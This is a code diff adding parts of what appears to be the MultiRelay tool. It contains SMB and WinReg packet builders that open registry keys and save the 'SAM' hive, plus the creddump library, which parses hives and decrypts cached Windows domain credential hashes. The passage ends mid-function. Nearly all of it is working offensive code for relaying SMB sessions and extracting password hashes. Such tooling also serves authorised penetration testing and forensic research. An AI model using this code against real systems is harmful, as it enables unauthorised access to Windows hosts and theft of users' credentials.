+        ("AndXOffset",            "\xde\xde"),
+        ("FID",                   "\x02\x40"),
+        ("Offset",                "\x00\x00\x00\x00"),
+        ("MaxCountLow",           "\xf0\xff"),
+        ("MinCount",              "\xf0\xff"),
+        ("Timeout",               "\xff\xff\xff\xff"),
+        ("RemainingBytes",        "\xf0\xff"),
+        ("HighOffset",            "\x00\x00\x00\x00"),
+        ("Bcc",                   "\x00\x00"),
+
+    ])
+
+
+class CloseRequest(Packet):
+    fields = OrderedDict([
+        ("Wordcount",             "\x03"),
+        ("FID",                   "\x00\x00"),
+        ("LastWrite",             "\xff\xff\xff\xff"),
+        ("Bcc",                   "\x00\x00"),
+
+    ])
+
+class DeleteFileRequest(Packet):
+    fields = OrderedDict([
+        ("Wordcount",             "\x01"),
+        ("SearchAttributes",      "\x06\x00"),
+        ("Bcc",                   "\x1b\x00"),
+        ("BuffType",              "\x04"),
+        ("File",                  ""),
+        ("FileNull",              "\x00\x00"),
+
+    ])
+
+    def calculate(self):
+        self.fields["File"] = self.fields["File"].encode('utf-16le')
+        self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["BuffType"])+str(self.fields["File"])+str(self.fields["FileNull"])))
+
+class SMBEcho(Packet):
+    fields = OrderedDict([
+        ("Wordcount",             "\x01"),
+        ("EchoCount",             "\x01\x00"),
+        ("Bcc",                   "\x1b\x00"),
+        ("File",                  "LWO CW VLO DEO MAW LMW ARW"),#nt4 style.
+        ("FileNull",              "\x00"),
+
+    ])
+
+
+###Winreg
+class SMBDCEWinRegOpenHKLMKey(Packet):
+    fields = OrderedDict([
+        ("Ptr",                  "\x00\x00\x00\x00"),
+        ("AccessMask",           "\x00\x00\x00\x02"),
+    ])
+
+class SMBDCEWinRegOpenHKCUKey(Packet):
+    fields = OrderedDict([
+        ("Ptr",                  "\x00\x00\x00\x00"),
+        ("AccessMask",           "\x00\x00\x00\x02"),
+    ])
+
+class SMBDCEWinRegOpenKey(Packet):
+    fields = OrderedDict([
+        ("ContextHandle",        ""),
+        ("KeySizeUnicode",       "\x00\x00"),
+        ("MaxKeySizeUnicode",    "\x00\x00"),
+        ("KeyPtr",               "\xa9\xdc\x00\x00"),
+        ("ActualKeyMaxSize",     "\x00\x00\x00\x00"),#not unicode
+        ("ActualKeyOffset",      "\x00\x00\x00\x00"),
+        ("ActualKeySize",        "\x00\x00\x00\x00"),#not unicode
+        ("Key",                  ""),
+        ("KeyTerminator",        "\x00\x00"),
+        ("AccessOption",         "\x01\x00\x00\x00"),
+        ("AccessMask",           "\x00\x00\x00\x02"),
+    ])
+
+    def calculate(self):
+        #Padding
+        if len(str(self.fields["Key"]))%2==0:
+           self.fields["KeyTerminator"] = "\x00\x00\x00\x00"
+        else:
+           self.fields["KeyTerminator"] = "\x00\x00"
+        #Calc first.
+        self.fields["ActualKeyMaxSize"] = struct.pack("<i",len(str(self.fields["Key"]))+1)
+        self.fields["ActualKeySize"] = struct.pack("<i",len(str(self.fields["Key"]))+1)
+        #Convert to unicode.
+        self.fields["Key"] = self.fields["Key"].encode('utf-16le')
+        #Recalculate again, in unicode this time.
+        self.fields["KeySizeUnicode"] = struct.pack("<h",len(str(self.fields["Key"]))+2)
+        self.fields["MaxKeySizeUnicode"] = struct.pack("<h",len(str(self.fields["Key"]))+2)
+
+
+class SMBDCEWinRegQueryInfoKey(Packet):
+    fields = OrderedDict([
+        ("ContextHandle",        ""),
+        ("ClassNameLen",         "\x00\x00"),
+        ("ClassNameMaxLen",      "\x00\x04"),
+        ("ClassNameRefID",       "\x68\x89\x00\x00"),
+        ("ClassNameMaxCount",    "\x00\x02\x00\x00"),
+        ("ClassNameOffset",      "\x00\x00\x00\x00"),
+        ("ClassNameActualCount", "\x00\x00\x00\x00"),
+
+    ])
+
+class SMBDCEWinRegCloseKey(Packet):
+    fields = OrderedDict([
+        ("ContextHandle",        ""),
+
+    ])
+
+class SMBDCEWinRegCreateKey(Packet):
+    fields = OrderedDict([
+        ("ContextHandle",        ""),
+        ("KeySizeUnicode",       "\x00\x00"),
+        ("MaxKeySizeUnicode",    "\x00\x00"),
+        ("KeyPtr",               "\xde\x01\x00\x00"),
+        ("ActualKeyMaxSize",     "\x00\x00\x00\x00"),
+        ("ActualKeyOffset",      "\x00\x00\x00\x00"),
+        ("ActualKeySize",        "\x00\x00\x00\x00"),
+        ("KeyName",              "SAM"),
+        ("KeyTerminator",        "\x00\x00"),
+        ("KeyClassLen",          "\x00\x00"),
+        ("KeyClassMaxLen",       "\x00\x00"),
+        ("KeyClassPtr",          "\x00\x00\x00\x00"),
+        ("AccessOption",         "\x01\x00\x00\x00"),
+        ("AccessMask",           "\x00\x00\x00\x02"),
+        ("SecDescRefID",         "\x29\xd8\x00\x00"),
+        ("SecDescLen",           "\x00\x00\x00\x00"),
+        ("SecDescPtr",           "\x00\x00\x00\x00"),
+        ("SecDescMaxLen",        "\x00\x00\x00\x00"),
+        ("SecDescMaxSize",       "\x00\x00\x00\x00"),
+        ("Inherit",              "\x00\x00\x00\x00"),
+        ("AccessTakenRefID",     "\x9c\x3e\x00\x00"),
+        ("ActionTakenRefID",     "\x01\x00\x00\x02"),
+
+    ])
+
+    def calculate(self):
+        #Padding
+        if len(str(self.fields["KeyName"]))%2==0:
+           self.fields["KeyTerminator"] = "\x00\x00\x00\x00"
+        else:
+           self.fields["KeyTerminator"] = "\x00\x00"
+        #Calc first.
+        self.fields["ActualKeyMaxSize"] = struct.pack("<i",len(str(self.fields["KeyName"]))+1)
+        self.fields["ActualKeySize"] = struct.pack("<i",len(str(self.fields["KeyName"]))+1)
+        #Convert to unicode.
+        self.fields["KeyName"] = self.fields["KeyName"].encode('utf-16le')
+        #Recalculate again, in unicode this time.
+        self.fields["KeySizeUnicode"] = struct.pack("<h",len(str(self.fields["KeyName"]))+2)
+        self.fields["MaxKeySizeUnicode"] = struct.pack("<h",len(str(self.fields["KeyName"]))+2)
+
+class SMBDCEWinRegSaveKey(Packet):
+    fields = OrderedDict([
+        ("ContextHandle",        ""),
+        ("FileSizeUnicode",       "\x00\x00"),
+        ("MaxFileSizeUnicode",    "\x00\x00"),
+        ("FilePtr",               "\xa9\xdc\x00\x00"),
+        ("ActualFileMaxSize",     "\x00\x00\x00\x00"),#not unicode
+        ("ActualFileOffset",      "\x00\x00\x00\x00"),
+        ("ActualFileSize",        "\x00\x00\x00\x00"),#not unicode
+        ("File",                  ""),
+        ("FileTerminator",        "\x00\x00"),
+        ("SecAttrib",            "\x00\x00\x00\x00"),
+    ])
+
+    def calculate(self):
+        #Padding
+        if len(str(self.fields["File"]))%2==0:
+           self.fields["FileTerminator"] = "\x00\x00\x00\x00"
+        else:
+           self.fields["FileTerminator"] = "\x00\x00"
+        #Calc first.
+        self.fields["ActualFileMaxSize"] = struct.pack("<i",len(str(self.fields["File"]))+1)
+        self.fields["ActualFileSize"] = struct.pack("<i",len(str(self.fields["File"]))+1)
+        #Convert to unicode.
+        self.fields["File"] = self.fields["File"].encode('utf-16le')
+        #Recalculate again, in unicode this time.
+        self.fields["FileSizeUnicode"] = struct.pack("<h",len(str(self.fields["File"]))+2)
+        self.fields["MaxFileSizeUnicode"] = struct.pack("<h",len(str(self.fields["File"]))+2)
+

tools/MultiRelay/creddump/CHANGELOG

@@ -0,0 +1,9 @@
+Version: 0.3 Date: 8/1/2012
+
+* Fixed LM and NTLM Hash Corruption issue. Thanks to Jonathan Claudius.
+  Closes Issue 3.
+
+Version: 0.2 Date: 2/24/2011
+
+* Fixed issue with wrong format specifier being used (L instead of I), which
+caused creddump to fail on 64-bit systems.

tools/MultiRelay/creddump/COPYING

@@ -0,0 +1,674 @@
+                    GNU GENERAL PUBLIC LICENSE
+                       Version 3, 29 June 2007
+
+ Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+                            Preamble
+
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+software and other kinds of works.
+
+  The licenses for most software and other practical works are designed
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+
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+<http://www.gnu.org/philosophy/why-not-lgpl.html>.

tools/MultiRelay/creddump/cachedump.py

@@ -0,0 +1,33 @@
+#!/usr/bin/env python
+
+# This file is part of creddump.
+#
+# creddump is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# creddump is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with creddump.  If not, see <http://www.gnu.org/licenses/>.
+
+"""
+@author:       Brendan Dolan-Gavitt
+@license:      GNU General Public License 2.0 or later
+@contact:      bdolangavitt@wesleyan.edu
+"""
+
+
+import sys
+from framework.win32.domcachedump import dump_file_hashes
+
+if len(sys.argv) < 3:
+    print "usage: %s bootkey <security hive>" % sys.argv[0]
+    sys.exit(1)
+
+dump_file_hashes(sys.argv[1].decode("hex"), sys.argv[2])
+

tools/MultiRelay/creddump/framework/addrspace.py

@@ -0,0 +1,141 @@
+# Volatility
+# Copyright (C) 2007 Volatile Systems
+#
+# Original Source:
+# Copyright (C) 2004,2005,2006 4tphi Research
+# Author: {npetroni,awalters}@4tphi.net (Nick Petroni and AAron Walters)
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or (at
+# your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+# General Public License for more details. 
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 
+#
+
+"""
+@author:       AAron Walters
+@license:      GNU General Public License 2.0 or later
+@contact:      awalters@volatilesystems.com
+@organization: Volatile Systems
+"""
+
+""" Alias for all address spaces """
+
+import os
+import struct
+
+class FileAddressSpace:
+    def __init__(self, fname, mode='rb', fast=False):
+        self.fname = fname
+	self.name = fname
+	self.fhandle = open(fname, mode)
+        self.fsize = os.path.getsize(fname)
+
+	if fast == True:
+            self.fast_fhandle = open(fname, mode)
+
+    def fread(self,len):
+        return self.fast_fhandle.read(len)
+
+    def read(self, addr, len):
+        self.fhandle.seek(addr)        
+        return self.fhandle.read(len)    
+
+    def read_long(self, addr):
+        string = self.read(addr, 4)
+        (longval, ) =  struct.unpack('L', string)
+        return longval
+
+    def get_address_range(self):
+        return [0,self.fsize-1]
+
+    def get_available_addresses(self):
+        return [self.get_address_range()]
+
+    def is_valid_address(self, addr):
+        return addr < self.fsize - 1
+
+    def close():
+        self.fhandle.close()
+
+# Code below written by Brendan Dolan-Gavitt
+
+BLOCK_SIZE = 0x1000
+
+class HiveFileAddressSpace:
+    def __init__(self, fname):
+        self.fname = fname
+        self.base = FileAddressSpace(fname)
+
+    def vtop(self, vaddr):
+        return vaddr + BLOCK_SIZE + 4
+
+    def read(self, vaddr, length, zero=False):
+        first_block = BLOCK_SIZE - vaddr % BLOCK_SIZE
+        full_blocks = ((length + (vaddr % BLOCK_SIZE)) / BLOCK_SIZE) - 1
+        left_over = (length + vaddr) % BLOCK_SIZE
+        
+        paddr = self.vtop(vaddr)
+        if paddr == None and zero:
+            if length < first_block:
+                return "\0" * length
+            else:
+                stuff_read = "\0" * first_block
+        elif paddr == None:
+            return None
+        else:
+            if length < first_block:
+                stuff_read = self.base.read(paddr, length)
+                if not stuff_read and zero:
+                    return "\0" * length
+                else:
+                    return stuff_read
+
+            stuff_read = self.base.read(paddr, first_block)
+            if not stuff_read and zero:
+                stuff_read = "\0" * first_block
+
+        new_vaddr = vaddr + first_block
+        for i in range(0,full_blocks):
+            paddr = self.vtop(new_vaddr)
+            if paddr == None and zero:
+                stuff_read = stuff_read + "\0" * BLOCK_SIZE
+            elif paddr == None:
+                return None
+            else:
+                new_stuff = self.base.read(paddr, BLOCK_SIZE)
+                if not new_stuff and zero:
+                    new_stuff = "\0" * BLOCK_SIZE
+                elif not new_stuff:
+                    return None
+                else:
+                    stuff_read = stuff_read + new_stuff
+            new_vaddr = new_vaddr + BLOCK_SIZE
+
+        if left_over > 0:
+            paddr = self.vtop(new_vaddr)
+            if paddr == None and zero:
+                stuff_read = stuff_read + "\0" * left_over
+            elif paddr == None:
+                return None
+            else:
+                stuff_read = stuff_read + self.base.read(paddr, left_over)
+        return stuff_read
+
+    def read_long_phys(self, addr):
+        string = self.base.read(addr, 4)
+        (longval, ) =  struct.unpack('L', string)
+        return longval
+
+    def is_valid_address(self, vaddr):
+        paddr = self.vtop(vaddr)
+        if not paddr: return False
+        return self.base.is_valid_address(paddr)

tools/MultiRelay/creddump/framework/newobj.py

@@ -0,0 +1,301 @@
+# This file is part of creddump.
+#
+# creddump is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# creddump is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with creddump.  If not, see <http://www.gnu.org/licenses/>.
+
+"""
+@author:       Brendan Dolan-Gavitt
+@license:      GNU General Public License 2.0 or later
+@contact:      bdolangavitt@wesleyan.edu
+"""
+
+from framework.object import *
+from framework.types import regtypes as types
+from operator import itemgetter
+from struct import unpack
+
+def get_ptr_type(structure, member):
+    """Return the type a pointer points to.
+       
+       Arguments:
+         structure : the name of the structure from vtypes
+         member : a list of members
+
+       Example:
+         get_ptr_type('_EPROCESS', ['ActiveProcessLinks', 'Flink']) => ['_LIST_ENTRY']
+    """
+    if len(member) > 1:
+        _, tp = get_obj_offset(types, [structure, member[0]])
+        if tp == 'array':
+            return types[structure][1][member[0]][1][2][1]
+        else:
+            return get_ptr_type(tp, member[1:])
+    else:
+        return types[structure][1][member[0]][1][1]
+
+class Obj(object):
+    """Base class for all objects.
+       
+       May return a subclass for certain data types to allow
+       for special handling.
+    """
+
+    def __new__(typ, name, address, space):
+        if name in globals():
+            # This is a bit of "magic"
+            # Could be replaced with a dict mapping type names to types
+            return globals()[name](name,address,space)
+        elif name in builtin_types:
+            return Primitive(name, address, space)
+        else:
+            obj = object.__new__(typ)
+            return obj
+    
+    def __init__(self, name, address, space):
+        self.name = name
+        self.address = address
+        self.space = space
+
+        # Subclasses can add fields to this list if they want them
+        # to show up in values() or members(), even if they do not
+        # appear in the vtype definition
+        self.extra_members = []
+    
+    def __getattribute__(self, attr):
+        try:
+            return object.__getattribute__(self, attr)
+        except AttributeError:
+            pass
+
+        if self.name in builtin_types:
+            raise AttributeError("Primitive types have no dynamic attributes")
+
+        try:
+            off, tp = get_obj_offset(types, [self.name, attr])
+        except:
+            raise AttributeError("'%s' has no attribute '%s'" % (self.name, attr))
+        
+        if tp == 'array':
+            a_len = types[self.name][1][attr][1][1]
+            l = []
+            for i in range(a_len):
+                a_off, a_tp = get_obj_offset(types, [self.name, attr, i])
+                if a_tp == 'pointer':
+                    ptp = get_ptr_type(self.name, [attr, i])
+                    l.append(Pointer(a_tp, self.address+a_off, self.space, ptp))
+                else:
+                    l.append(Obj(a_tp, self.address+a_off, self.space))
+            return l
+        elif tp == 'pointer':
+            # Can't just return a Obj here, since pointers need to also
+            # know what type they point to.
+            ptp = get_ptr_type(self.name, [attr])
+            return Pointer(tp, self.address+off, self.space, ptp)
+        else:
+            return Obj(tp, self.address+off, self.space)
+    
+    def __div__(self, other):
+        if isinstance(other,tuple) or isinstance(other,list):
+            return Pointer(other[0], self.address, self.space, other[1])
+        elif isinstance(other,str):
+            return Obj(other, self.address, self.space)
+        else:
+            raise ValueError("Must provide a type name as string for casting")
+    
+    def members(self):
+        """Return a list of this object's members, sorted by offset."""
+
+        # Could also just return the list
+        membs = [ (k, v[0]) for k,v in types[self.name][1].items()]
+        membs.sort(key=itemgetter(1))
+        return map(itemgetter(0),membs) + self.extra_members
+
+    def values(self):
+        """Return a dictionary of this object's members and their values"""
+        
+        valdict = {}
+        for k in self.members():
+            valdict[k] = getattr(self, k)
+        return valdict
+
+    def bytes(self, length=-1):
+        """Get bytes starting at the address of this object.
+        
+           Arguments:
+             length : the number of bytes to read. Default: size of
+                this object.
+        """
+
+        if length == -1:
+            length = self.size()
+        return self.space.read(self.address, length)
+
+    def size(self):
+        """Get the size of this object."""
+
+        if self.name in builtin_types:
+            return builtin_types[self.name][0]
+        else:
+            return types[self.name][0]
+    
+    def __repr__(self):
+        return "<%s @%08x>" % (self.name, self.address)
+
+    def __eq__(self, other):
+        if not isinstance(other, Obj):
+            raise TypeError("Types are incomparable")
+        return self.address == other.address and self.name == other.name
+
+    def __ne__(self, other):
+        return not self.__eq__(other)
+
+    def __hash__(self):
+        return hash(self.address) ^ hash(self.name)
+
+    def is_valid(self):
+        return self.space.is_valid_address(self.address)
+
+    def get_offset(self, member):
+        return get_obj_offset(types, [self.name] + member)
+
+class Primitive(Obj):
+    """Class to represent a primitive data type.
+       
+       Attributes:
+         value : the python primitive value of this type
+    """
+
+    def __new__(typ, *args, **kwargs):
+        obj = object.__new__(typ)
+        return obj
+
+    def __init__(self, name, address, space):
+        super(Primitive,self).__init__(name, address, space)
+        length, fmt = builtin_types[name]
+        data = space.read(address,length)
+        if not data: self.value = None
+        else: self.value = unpack(fmt,data)[0]
+    
+    def __repr__(self):
+        return repr(self.value)
+
+    def members(self):
+        return []
+
+class Pointer(Obj):
+    """Class to represent pointers.
+    
+       value : the object pointed to
+
+       If an attribute is not found in this instance,
+       the attribute will be looked up in the referenced
+       object."""
+
+    def __new__(typ, *args, **kwargs):
+        obj = object.__new__(typ)
+        return obj
+
+    def __init__(self, name, address, space, ptr_type):
+        super(Pointer,self).__init__(name, address, space)
+        ptr_address = read_value(space, name, address)
+        if ptr_type[0] == 'pointer':
+            self.value = Pointer(ptr_type[0], ptr_address, self.space, ptr_type[1])
+        else:
+            self.value = Obj(ptr_type[0], ptr_address, self.space)
+    
+    def __getattribute__(self, attr):
+        # It's still nice to be able to access things through pointers
+        # without having to explicitly dereference them, so if we don't
+        # find an attribute via our superclass, just dereference the pointer
+        # and return the attribute in the pointed-to type.
+        try:
+            return super(Pointer,self).__getattribute__(attr)
+        except AttributeError:
+            return getattr(self.value, attr)
+    
+    def __repr__(self):
+        return "<pointer to [%s @%08x]>" % (self.value.name, self.value.address)
+
+    def members(self):
+        return self.value.members()
+
+class _UNICODE_STRING(Obj):
+    """Class representing a _UNICODE_STRING
+
+    Adds the following behavior:
+      * The Buffer attribute is presented as a Python string rather
+        than a pointer to an unsigned short.
+      * The __str__ method returns the value of the Buffer.
+    """
+
+    def __new__(typ, *args, **kwargs):
+        obj = object.__new__(typ)
+        return obj
+
+    def __str__(self):
+        return self.Buffer
+
+    # Custom Attributes
+    def getBuffer(self):
+        return read_unicode_string(self.space, types, [], self.address)
+    Buffer = property(fget=getBuffer)
+
+class _CM_KEY_NODE(Obj):
+    def __new__(typ, *args, **kwargs):
+        obj = object.__new__(typ)
+        return obj
+
+    def getName(self):
+        return read_string(self.space, types, ['_CM_KEY_NODE', 'Name'],
+            self.address, self.NameLength.value)
+    Name = property(fget=getName)
+
+class _CM_KEY_VALUE(Obj):
+    def __new__(typ, *args, **kwargs):
+        obj = object.__new__(typ)
+        return obj
+
+    def getName(self):
+        return read_string(self.space, types, ['_CM_KEY_VALUE', 'Name'],
+            self.address, self.NameLength.value)
+    Name = property(fget=getName)
+
+class _CHILD_LIST(Obj):
+    def __new__(typ, *args, **kwargs):
+        obj = object.__new__(typ)
+        return obj
+
+    def getList(self):
+        lst = []
+        list_address = read_obj(self.space, types,
+            ['_CHILD_LIST', 'List'], self.address)
+        for i in range(self.Count.value):
+            lst.append(Pointer("pointer", list_address+(i*4), self.space,
+                ["_CM_KEY_VALUE"]))
+        return lst
+    List = property(fget=getList)
+
+class _CM_KEY_INDEX(Obj):
+    def __new__(typ, *args, **kwargs):
+        obj = object.__new__(typ)
+        return obj
+
+    def getList(self):
+        lst = []
+        for i in range(self.Count.value):
+            # we are ignoring the hash value here
+            off,tp = get_obj_offset(types, ['_CM_KEY_INDEX', 'List', i*2])
+            lst.append(Pointer("pointer", self.address+off, self.space,
+                ["_CM_KEY_NODE"]))
+        return lst
+    List = property(fget=getList)

tools/MultiRelay/creddump/framework/object.py

@@ -0,0 +1,171 @@
+# Volatools Basic
+# Copyright (C) 2007 Komoku, Inc.
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or (at
+# your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+# General Public License for more details. 
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 
+#
+
+"""
+@author:       AAron Walters and Nick Petroni
+@license:      GNU General Public License 2.0 or later
+@contact:      awalters@komoku.com, npetroni@komoku.com
+@organization: Komoku, Inc.
+"""
+
+import struct
+
+builtin_types = { \
+    'int' : (4, 'i'), \
+    'long': (4, 'i'), \
+    'unsigned long' : (4, 'I'), \
+    'unsigned int' : (4, 'I'), \
+    'address' : (4, 'I'), \
+    'char' : (1, 'c'), \
+    'unsigned char' : (1, 'B'), \
+    'unsigned short' : (2, 'H'), \
+    'short' : (2, 'h'), \
+    'long long' : (8, 'q'), \
+    'unsigned long long' : (8, 'Q'), \
+    'pointer' : (4, 'I'),\
+    }
+
+
+def obj_size(types, objname):
+    if not types.has_key(objname):
+        raise Exception('Invalid type %s not in types' % (objname))
+
+    return types[objname][0]
+
+def builtin_size(builtin):
+    if not builtin_types.has_key(builtin):
+        raise Exception('Invalid built-in type %s' % (builtin))
+
+    return builtin_types[builtin][0]
+
+def read_value(addr_space, value_type, vaddr):
+    """
+    Read the low-level value for a built-in type. 
+    """
+
+    if not builtin_types.has_key(value_type):
+        raise Exception('Invalid built-in type %s' % (value_type))
+
+    type_unpack_char = builtin_types[value_type][1]
+    type_size        = builtin_types[value_type][0]
+
+    buf = addr_space.read(vaddr, type_size)
+    if buf is None:
+        return None
+    (val, ) = struct.unpack(type_unpack_char, buf)
+
+    return val
+
+def read_unicode_string(addr_space, types, member_list, vaddr):
+    offset = 0
+    if len(member_list) > 1:
+        (offset, current_type) = get_obj_offset(types, member_list)
+
+
+    buf    = read_obj(addr_space, types, ['_UNICODE_STRING', 'Buffer'], vaddr + offset)
+    length = read_obj(addr_space, types, ['_UNICODE_STRING', 'Length'], vaddr + offset)
+
+    if length == 0x0:
+        return ""
+
+    if buf is None or length is None:
+        return None
+
+    readBuf = read_string(addr_space, types, ['char'], buf, length)
+
+    if readBuf is None:
+        return None
+    
+    try:
+        readBuf = readBuf.decode('UTF-16').encode('ascii')
+    except:
+        return None
+    
+    return readBuf
+
+def read_string(addr_space, types, member_list, vaddr, max_length=256):
+    offset = 0
+    if len(member_list) > 1:
+        (offset, current_type) = get_obj_offset(types, member_list)
+
+    val = addr_space.read(vaddr + offset, max_length)
+
+    return val    
+    
+
+def read_null_string(addr_space, types, member_list, vaddr, max_length=256):
+    string = read_string(addr_space, types, member_list, vaddr, max_length)
+
+    if string is None:
+        return None
+
+    if (string.find('\0') == -1):
+        return string
+    (string, none) = string.split('\0', 1)
+    return string
+        
+
+def get_obj_offset(types, member_list):
+    """
+    Returns the (offset, type) pair for a given list
+    """
+    member_list.reverse()
+
+    current_type = member_list.pop()
+
+    offset = 0
+
+    while (len(member_list) > 0):
+        if current_type == 'array':
+            current_type = member_dict[current_member][1][2][0]
+            if current_type in builtin_types:
+                current_type_size = builtin_size(current_type)
+            else:
+                current_type_size = obj_size(types, current_type)
+            index = member_list.pop()
+            offset += index * current_type_size
+            continue
+            
+        elif not types.has_key(current_type):
+            raise Exception('Invalid type ' + current_type)
+        
+        member_dict = types[current_type][1]
+        
+        current_member = member_list.pop()
+        if not member_dict.has_key(current_member):
+            raise Exception('Invalid member %s in type %s' % (current_member, current_type))
+
+        offset += member_dict[current_member][0]
+
+        current_type = member_dict[current_member][1][0]
+
+    return (offset, current_type)
+
+
+def read_obj(addr_space, types, member_list, vaddr):
+    """
+    Read the low-level value for some complex type's member.
+    The type must have members.
+    """
+    if len(member_list) < 2:
+        raise Exception('Invalid type/member ' + str(member_list))
+    
+
+    
+    (offset, current_type) = get_obj_offset(types, member_list)
+    return read_value(addr_space, current_type, vaddr + offset)

tools/MultiRelay/creddump/framework/types.py

@@ -0,0 +1,63 @@
+# This file is part of creddump.
+#
+# creddump is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# creddump is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with creddump.  If not, see <http://www.gnu.org/licenses/>.
+
+"""
+@author:       Brendan Dolan-Gavitt
+@license:      GNU General Public License 2.0 or later
+@contact:      bdolangavitt@wesleyan.edu
+"""
+
+regtypes = {
+  '_CM_KEY_VALUE' : [ 0x18, {
+    'Signature' : [ 0x0, ['unsigned short']],
+    'NameLength' : [ 0x2, ['unsigned short']],
+    'DataLength' : [ 0x4, ['unsigned long']],
+    'Data' : [ 0x8, ['unsigned long']],
+    'Type' : [ 0xc, ['unsigned long']],
+    'Flags' : [ 0x10, ['unsigned short']],
+    'Spare' : [ 0x12, ['unsigned short']],
+    'Name' : [ 0x14, ['array', 1, ['unsigned short']]],
+} ],
+  '_CM_KEY_NODE' : [ 0x50, {
+    'Signature' : [ 0x0, ['unsigned short']],
+    'Flags' : [ 0x2, ['unsigned short']],
+    'LastWriteTime' : [ 0x4, ['_LARGE_INTEGER']],
+    'Spare' : [ 0xc, ['unsigned long']],
+    'Parent' : [ 0x10, ['unsigned long']],
+    'SubKeyCounts' : [ 0x14, ['array', 2, ['unsigned long']]],
+    'SubKeyLists' : [ 0x1c, ['array', 2, ['unsigned long']]],
+    'ValueList' : [ 0x24, ['_CHILD_LIST']],
+    'ChildHiveReference' : [ 0x1c, ['_CM_KEY_REFERENCE']],
+    'Security' : [ 0x2c, ['unsigned long']],
+    'Class' : [ 0x30, ['unsigned long']],
+    'MaxNameLen' : [ 0x34, ['unsigned long']],
+    'MaxClassLen' : [ 0x38, ['unsigned long']],
+    'MaxValueNameLen' : [ 0x3c, ['unsigned long']],
+    'MaxValueDataLen' : [ 0x40, ['unsigned long']],
+    'WorkVar' : [ 0x44, ['unsigned long']],
+    'NameLength' : [ 0x48, ['unsigned short']],
+    'ClassLength' : [ 0x4a, ['unsigned short']],
+    'Name' : [ 0x4c, ['array', 1, ['unsigned short']]],
+} ],
+  '_CM_KEY_INDEX' : [ 0x8, {
+    'Signature' : [ 0x0, ['unsigned short']],
+    'Count' : [ 0x2, ['unsigned short']],
+    'List' : [ 0x4, ['array', 1, ['unsigned long']]],
+} ],
+  '_CHILD_LIST' : [ 0x8, {
+    'Count' : [ 0x0, ['unsigned long']],
+    'List' : [ 0x4, ['unsigned long']],
+} ],
+}

tools/MultiRelay/creddump/framework/win32/domcachedump.py

@@ -0,0 +1,117 @@
+# This file is part of creddump.
+#
+# creddump is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# creddump is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with creddump.  If not, see <http://www.gnu.org/licenses/>.
+
+"""
+@author:       Brendan Dolan-Gavitt
+@license:      GNU General Public License 2.0 or later
+@contact:      bdolangavitt@wesleyan.edu
+"""
+
+from framework.win32.rawreg import *
+from framework.addrspace import HiveFileAddressSpace
+#from framework.win32.hashdump import get_bootkey
+from framework.win32.lsasecrets import get_secret_by_name,get_lsa_key
+from Crypto.Hash import HMAC
+from Crypto.Cipher import ARC4
+from struct import unpack
+
+def get_nlkm(secaddr, lsakey):
+    return get_secret_by_name(secaddr, 'NL$KM', lsakey)
+
+def decrypt_hash(edata, nlkm, ch):
+    hmac_md5 = HMAC.new(nlkm,ch)
+    rc4key = hmac_md5.digest()
+
+    rc4 = ARC4.new(rc4key)
+    data = rc4.encrypt(edata)
+    return data
+
+def parse_cache_entry(cache_data):
+    (uname_len, domain_len) = unpack("<HH", cache_data[:4])
+    (domain_name_len,) = unpack("<H", cache_data[60:62])
+    ch = cache_data[64:80]
+    enc_data = cache_data[96:]
+    return (uname_len, domain_len, domain_name_len, enc_data, ch) 
+
+def parse_decrypted_cache(dec_data, uname_len,
+        domain_len, domain_name_len):
+    uname_off = 72
+    pad = 2 * ( ( uname_len / 2 ) % 2 )
+    domain_off = uname_off + uname_len + pad
+    pad = 2 * ( ( domain_len / 2 ) % 2 )
+    domain_name_off = domain_off + domain_len + pad
+
+    hash = dec_data[:0x10]
+    username = dec_data[uname_off:uname_off+uname_len]
+    username = username.decode('utf-16-le')
+    domain = dec_data[domain_off:domain_off+domain_len]
+    domain = domain.decode('utf-16-le')
